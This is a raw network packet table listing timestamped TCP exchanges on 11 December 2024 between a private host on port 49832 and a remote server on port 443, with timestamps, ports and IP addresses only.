Dec 11, 2024 12:15:00.200776100 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.200953960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.202076912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.202091932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.202254057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.202434063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.202434063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.202434063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.202440977 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.202672958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.203695059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.203711033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.203830957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.203876019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.203876019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.203882933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.204060078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.204060078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.204060078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205552101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.205565929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.205709934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205709934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205893993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205893993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205893993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.205900908 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.206085920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207374096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.207389116 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.207535028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207535028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207535028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207545996 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.207715034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207715034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.207715034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209023952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.209039927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.209218025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209218025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209218025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209228039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.209386110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209386110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.209559917 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.210277081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.210290909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.210613966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.210613966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.210613966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.210622072 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.210858107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.211812019 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.211827993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.212157965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.212157965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.212157965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.212174892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.212346077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.212346077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.213676929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.213691950 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.213861942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.213861942 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.213872910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.214039087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.214039087 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.215265036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.215281963 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.215429068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.215429068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.215610981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.215610981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.215617895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.215801954 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.216926098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.216941118 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.217267990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.217267990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.217267990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.217267990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.217278957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.217454910 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.218410015 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.218425989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.218592882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.218729019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.218729019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.218729019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.218738079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.218974113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.220125914 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.220139980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.220297098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.220477104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.220483065 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.220714092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.221697092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.221713066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.221860886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.222038984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.222038984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.222038984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.222047091 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.222297907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.223587036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.223603964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.223747969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.223747969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.223747969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.223766088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.223927021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.223927021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.224122047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.224664927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.224679947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.225008965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.225008965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.225008965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.225019932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.225168943 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.226454973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.226469994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.226608038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.226660967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.226660967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.226665974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.226845980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.226845980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.228020906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.228035927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.228363037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.228363037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.228363037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.228370905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.228550911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.229803085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.229820013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.230149984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.230149984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.230149984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.230149984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.230149984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.230169058 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.230341911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.231452942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.231467962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.231606960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.231606960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.231790066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.231798887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.231981993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.232711077 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.232727051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.232892990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.232892990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.233071089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.233076096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.233264923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234426975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.234440088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.234572887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234589100 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234770060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234770060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234770060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.234777927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.234987020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236231089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.236244917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.236396074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236396074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236576080 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236576080 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236582994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.236768961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.236769915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.237862110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.237874031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.238198042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238198042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238198042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238198042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238198042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238214016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.238387108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.238867998 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.238883018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.239209890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.239209890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.239209890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.239209890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.239222050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.239402056 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.240904093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.240922928 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.241065979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.241065979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.241250992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.241257906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.241411924 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.242873907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.242892981 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.243063927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.243063927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.243191957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.243201017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.243383884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.243383884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.244277954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.244297028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.244625092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.244625092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.244645119 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.245004892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245250940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.245270014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.245414019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245414019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245596886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245601892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.245790005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245790005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.245834112 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.247026920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.247044086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.247370005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.247370005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.247370005 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.247380018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.247534037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.248697042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.248716116 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.248858929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.249042034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.249042034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.249042034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.249051094 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.249281883 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.250823975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.250843048 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.250986099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.250986099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.251168966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.251168966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.251176119 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.251357079 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.251358032 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252362013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.252381086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.252549887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252549887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252729893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252729893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252729893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.252737045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.252896070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.253606081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.253624916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.253948927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.253948927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.253948927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.253948927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.253962040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.254137039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.255186081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.255198002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.255523920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.255523920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.255525112 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.255537987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.255685091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.255685091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.256814957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.256830931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.256973982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.256973982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.257153988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.257153988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.257153988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.257159948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.257317066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.258696079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.258712053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.259042025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.259042025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.259042025 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.259053946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.259232998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.259814024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.259829998 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.259978056 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.259978056 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.260160923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.260160923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.260168076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.260349989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.260349989 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.261709929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.261728048 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.262054920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.262064934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.262435913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.263478041 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.263497114 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.263816118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.263816118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.263828039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.264144897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.264822006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.264889956 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.265166044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.265353918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.265360117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.265552998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.377968073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.435283899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.435296059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.435764074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.435764074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.435764074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.435764074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.435774088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.436013937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.436013937 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.436629057 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.436640024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.436971903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.436973095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.436973095 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.436980963 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.437165976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.437165976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.438357115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.438368082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.438500881 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.438730955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.438730955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.438740969 CET	443	49832	172.67.128.139	192.168.11.30
